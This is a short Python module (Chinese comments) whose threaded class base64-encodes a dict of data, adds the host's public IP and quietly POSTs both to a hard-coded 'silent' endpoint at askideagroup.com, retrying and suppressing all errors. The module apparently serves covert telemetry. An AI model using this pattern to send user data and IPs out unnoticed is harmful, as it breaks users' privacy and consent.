import ipgetter
from threading import Thread
import requests
import base64

class upload_infoto_server(Thread):
    """
    使用多线程上传信息
    """
    def __init__(self,post_data=None):
        super(upload_infoto_server,self).__init__()
        self.data=post_data   #需要上传的数据
        self.attempts_number=4   #发送失败之后尝试重发的次数
        self.server_url = "http://mapi.askideagroup.com/apiv1/silent"

    def __get_extranet_ip(self):
        """
        获取本地外网ip
        :return:
        """
        ip = ipgetter.myip()
        if ip=="":
            return None
        else:
            return ip

    def data_format(self,data=None):
        """
        数据base64加密
        :param data: 需要加密的数据
        :return: 返回加密后数据
        """
        if isinstance(data, dict) == False:
            return {}
        temp_dict={}
        for key,value in data.items():
            temp_value=bytearray(value,encoding="utf-8")
            temp_value=base64.b64encode(temp_value)
            temp_dict[key]=temp_value.decode("utf-8")

        return temp_dict



    def __post_data(self,data=None):
        """
        发送数据的函数
        :param data: 需要发送的数据
        :return:
        """
        if isinstance(data,dict)==False:
            return False
        temp_data=self.data_format(data)
        ip=self.__get_extranet_ip()
        if ip==None:
            return False
        temp_data['ip_addr']=ip
        try:
            response=requests.post(self.server_url,json=temp_data)
            if response.status_code==200:
                return True
            else:
                return False
        except Exception as e:
            return False

    def run(self):
        for i in range(self.attempts_number+1):
            result=self.__post_data(self.data)
            if result==True:
                return